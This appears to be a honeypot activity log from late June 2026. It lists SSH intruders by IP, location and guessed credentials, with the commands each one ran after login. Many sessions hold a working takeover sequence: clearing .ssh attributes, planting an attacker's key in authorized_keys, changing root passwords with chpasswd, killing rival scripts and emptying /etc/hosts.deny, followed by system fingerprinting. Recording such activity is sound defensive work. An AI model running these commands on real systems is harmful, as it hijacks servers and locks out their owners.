2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

$ uname -s -v -n -m 2 > /dev/null

$ /bin/uname -s -v -n -m 2 > /dev/null

$ /usr/bin/uname -s -v -n -m 2 > /dev/null

$ busybox uname -s -v -n -m 2 > /dev/null

$ ( [ -f /proc/version ]

$ [ -f /proc/version ]

$ head -1 /proc/version | cut -d -f1

$ [ -f /etc/os-release ]

🎭 pretzel_root_14 (212.227.203.59) — Bretten, Germany · 4 sessions · 4 cmds

2026-06-30 11:49 EDT · as root/blackcat

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -a ×4 // OS/kernel identification

🎭 bonsai (160.251.140.254) — Chiyoda City, Japan · 1 session · 20 cmds

2026-06-30 19:12 EDT · as hot/hot123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "hot123\ndXbDpeuQOVft\ndXbDpeuQOVft"|passwd|bash

$ Enter new UNIX password:

$ echo "hot123\ndXbDpeuQOVft\ndXbDpeuQOVft\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 monsoon_root_6 (183.83.198.79) — Hyderabad, India · 1 session · 19 cmds

2026-06-30 18:41 EDT · as root/oooooo

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:kqqfGliSqHM7"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 blitz_root_8 (87.106.197.138) — Karlsruhe, Germany · 1 session · 1 cmd

2026-06-30 18:39 EDT · as root/cryptolendify2025!@#

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 tsar_root_8 (5.253.61.75) — Moscow, Russia · 3 sessions · 3 cmds

2026-06-30 07:24 EDT · as root/Nobodyasked123!@#, root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 silk_root_3 (14.103.123.80) — Beijing, China · 1 session · 19 cmds

2026-06-30 17:00 EDT · as root/1q2w3e4r5t~

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:40Ifs6DCofy3"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_39 (14.225.217.138) — Hanoi, Vietnam · 1 session · 20 cmds

2026-06-30 16:59 EDT · as bitwarden/12345

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "12345\nGkua5yhoBJ6o\nGkua5yhoBJ6o"|passwd|bash

$ Enter new UNIX password:

$ echo "12345\nGkua5yhoBJ6o\nGkua5yhoBJ6o\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_root_5 (162.240.222.44) — Phoenix, United States · 1 session · 20 cmds

2026-06-30 16:57 EDT · as bitwarden/12345

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "12345\nZi5vMsMqxMZ3\nZi5vMsMqxMZ3"|passwd|bash

$ Enter new UNIX password:

$ echo "12345\nZi5vMsMqxMZ3\nZi5vMsMqxMZ3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_40 (77.55.253.70) — Warsaw, Poland · 4 sessions · 4 cmds

2026-06-30 06:00 EDT · as root/blackcat

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -a ×4 // OS/kernel identification

🎭 star_root_17 (63.41.16.4) — Plaquemine, United States · 1 session · 19 cmds

2026-06-30 16:46 EDT · as root/P@s5w0rd

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:FSJ2n62B1fTb"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 clog_root_7 (46.235.40.33) — Eindhoven, The Netherlands · 2 sessions · 2 cmds

2026-06-30 14:22 EDT · as root/blackcat

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 steppe_root_6 (193.25.11.246) — Yuzhno-Sakhalinsk, Russia · 1 session · 1 cmd

2026-06-30 15:15 EDT · as jimster/Jimster@q1w2e3

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 specter_root_37 (119.156.28.157) — Gujrat, Pakistan · 1 session · 19 cmds

2026-06-30 14:56 EDT · as root/asd123@#

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:TyZqdDNM6NM3"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_40 (152.32.212.226) — Hong Kong, Hong Kong · 2 sessions · 38 cmds

2026-06-30 14:39 EDT · as root/a13a13, root/asd123@#

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:qwdeQOPh1Zrp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:ZFoZzkbNUOnE"|chpasswd|bash

🎭 k-pop_root_6 (211.245.36.214) — Gangnam-gu, South Korea · 1 session · 19 cmds

2026-06-30 14:44 EDT · as root/admin12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:JcBIG19bDHIy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 carnival_root (200.219.200.16) — São Paulo, Brazil · 2 sessions · 38 cmds

2026-06-30 14:24 EDT · as root/test@111, root/teste123@

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:hpcPHw5hxzQm"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:4PRdaAdD9OvY"|chpasswd|bash

🎭 phantom_root_48 (103.189.234.57) — Singapore, Singapore · 1 session · 19 cmds

2026-06-30 14:43 EDT · as root/a13a13

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:A5AjwJr9bk5v"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_41 (79.143.45.75) — Vinnytsia, Ukraine · 1 session · 19 cmds

2026-06-30 14:20 EDT · as root/test@111

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:XOERyPfynXHD"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 toque_root (184.107.95.45) — Montreal, Canada · 3 sessions · 3 cmds

2026-06-30 05:51 EDT · as root/Nobodyasked2024!!!, root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 frost_root_5 (185.174.139.10) — Moscow, Russia · 5 sessions · 5 cmds

2026-06-30 08:42 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 poutine_root_3 (138.197.130.251) — Toronto, Canada · 2 sessions · 2 cmds

2026-06-30 06:45 EDT · as root/blackcat, root/jmx22019

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 silk_root_14 (180.76.176.249) — Beijing, China · 1 session · 20 cmds

2026-06-30 12:49 EDT · as admin1/admin1

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "admin1\nmnYSn4XUFUXH\nmnYSn4XUFUXH"|passwd|bash

$ Enter new UNIX password:

$ echo "admin1\nmnYSn4XUFUXH\nmnYSn4XUFUXH\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

